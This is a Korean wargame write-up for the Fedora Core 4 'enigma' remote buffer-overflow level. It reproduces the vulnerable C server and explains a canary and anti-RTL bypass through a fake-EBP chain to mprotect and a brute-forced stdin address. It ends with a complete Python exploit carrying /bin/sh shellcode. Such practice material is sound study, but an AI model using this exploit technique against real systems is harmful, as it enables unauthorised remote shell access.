/*
        The Lord of the BOF : The Fellowship of the BOF
        - enigma
        - Remote BOF on Fedora Core 4
        - hint : ?
        - port : TCP 7777
*/

#include 
#include 
#include 
#include 

int vuln(int canary,char *ptr)
{
        char buffer[256];
        int *ret;

        // stack overflow!!
        strcpy(buffer,ptr);

        // overflow protected
        if(canary != 0x31337)
        {
                printf("who broke my canary?!");
                exit(1);
        }

        // preventing RTL
        ret = &canary - 1;
        if((*ret & 0xff000000) == 0)
        {
                printf("I've an allergy to NULL");
                exit(1);
        }

        // clearing attack buffer
        memset(ptr, 0, 1024);

        return 0;
}

int main()
{
        char buffer[1024];

        printf("enigma : The brothers will be glad to have you!\n");
        printf("you : ");
        fflush(stdout);

        // give me a food!
        fgets(buffer, 1024, stdin);

        // oops~!
        vuln(0x31337, buffer);

        // bye bye
        exit(0);
}

문제 소스코드다.

main함수에선 취약점이 없어 보이나 vuln함수를 보면 strcpy함수를 사용해서 딱 봐도 취약해 보인다. 이번엔 카나리라는 값이 추가 되어서 해당 위치에 카나리값이 없으면 오버플로우를 할 수 없도록 되어있다.

하지만 오버플로우를 일으켜 해당 위치에 카나리 값을 덮어 써주면 문제없이 우회할 수 있다. 카나리 위치는 vuln함수 기준 ebp+8에 위치하고 있다.

그리고 ret변수에는 카나리값의 -1, 즉 리턴주소에 있는 값의 첫 바이트가 0이면 프로그램을 종료한다. 다시말하면 fedora core에는 아스키 아머가 적용되어 함수의 첫 바이트는 0x00으로 되어있으니 리턴주소에 함수가 들어가면 안된다는 것이다. RTL을 막았다는 의미이다.


그래서 이번에는 mprotect함수를 이용해 임시버퍼인 stdin영역에 쓰기권한을 주고 그 영역에 쉘코드를 넣어서 쉘을 얻는 방식으로 익스를 했다.


우선 vuln함수의 buffer의 크기를 보면 260바이트까지를 입력할 수 있다. ebp+12는 임시버퍼(stdin)의 주소를 가리키고 있는 주소다.

쓰레기 값을 260바이트를 주고나면 바로 다음엔 sfp, ret가 위치하고 있을거다.

RTL이 되지 않으니.. fake ebp로 mprotect 함수를 실행시키면 된다.


하지만 문제가 있다. ASLR때문에 임시버퍼의 주소가 계속 바뀐다.

처음 stdin으로 확인한 주소는 0xb7fbf000이다. 몇번을 실행 시켜보면 규칙을 찾을 수 있다.

0xb7f**000 이 규칙을 계속 지키는 것이다.

따라서 한개의 stdin주소를 정해서 브루트포스로 계속 돌리면 충분히 맞출 수 있다.


먼저 페이로드를 작성해보면


dummy[260] | fake ebp1 | leave-ret가젯 | canary | mprotect | fake ebp2 | stdin | 0x800 | 0x7 | NOP[300] | shellcode


이렇게 페이로드를 작성하면 익스를 할 수 있다.


페이로드를 설명하자면 

1. fake ebp1에는 mprotect함수가 있는 주소의 -4 위치를 넣는다. -> stdin + 268

2. leave-ret 가젯을 넣어준다. (leave-ret가젯의 주소는 첫바이트가 0x0이 아니기 때문에 문제에서 rtl을 막는 부분을 우회할 수 있다.)

3. canary 가젯을 넣어준다.

4. mprotect함수의 주소를 넣어준다.

5. fake ebp2에는 mprotect함수 다음에 실행이 될 sfp의 위치이기 때문에 쉘코드의 위치를 대략적으로 넣어준 것이다. NOP를 넉넉히 넣으면 stdin+300 정도면 충분한 위치가 될 것이다.

6. mprotect함수의 인자들을 넣어주면 된다. 첫번째 인자는 권한을 줄 영역의 시작 위치를 주면 되고 두번째 인자는 시작 위치부터 몇 바이트 까지 권한을 줄지를 정하는 인자다. 페이로드의 크기 보다 큰 800바이트 정도를 주면 된다. 그리고 마지막은 권한을 주면 된다. 실행권한을 주기 위해 7을 주었다.

7. NOP를 넉넉하게 300바이트정도를 넣고 쉘코드를 넣었다.



exploit code

from socket import *
import time
import struct

host = "localhost"
port = 7777

p = lambda x : struct.pack('<L', x)

shellcode = "\x90"*300+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

leaveret = 0x0804858e
canary = 0x31337
mprotect = 0x86d240
stdin = 0xb7fa6000

payload = "A"*260
payload += p(stdin+268)
payload += p(leaveret)
payload += p(canary)
payload += p(mprotect)
payload += p(stdin+300)
payload += p(stdin)
payload += p(0x800)
payload += p(0x7)
payload += shellcode
payload += "\n"

index = 1
while True:
        print "INDEX : " + index
        s = socket(AF_INET, SOCK_STREAM)
        s.connect((host, port))
        s.recv(100)
        s.send(payload)
        time.sleep(1)
        s.send("my-pass\n")
        res = s.recv(1024)
        if res != "":
                print "pass  : " + res
                s.close()
                break
        s.close()
        time.sleep(0.5)
        index += 1



'Wargame > FedoraCore BOF' 카테고리의 다른 글

Fedora Core4 enigma -> titan  (0) 2018.03.04
Fedora Core4 dark_stone -> cruel  (0) 2018.02.25
Fedora Core3 evil_wizard -> dark_stone  (0) 2018.02.25
Fedora Core3 hell_file -> evil_wizard  (0) 2018.02.25
Fedora Core3 dark_eyes -> hell_fire  (0) 2018.02.24

+ Recent posts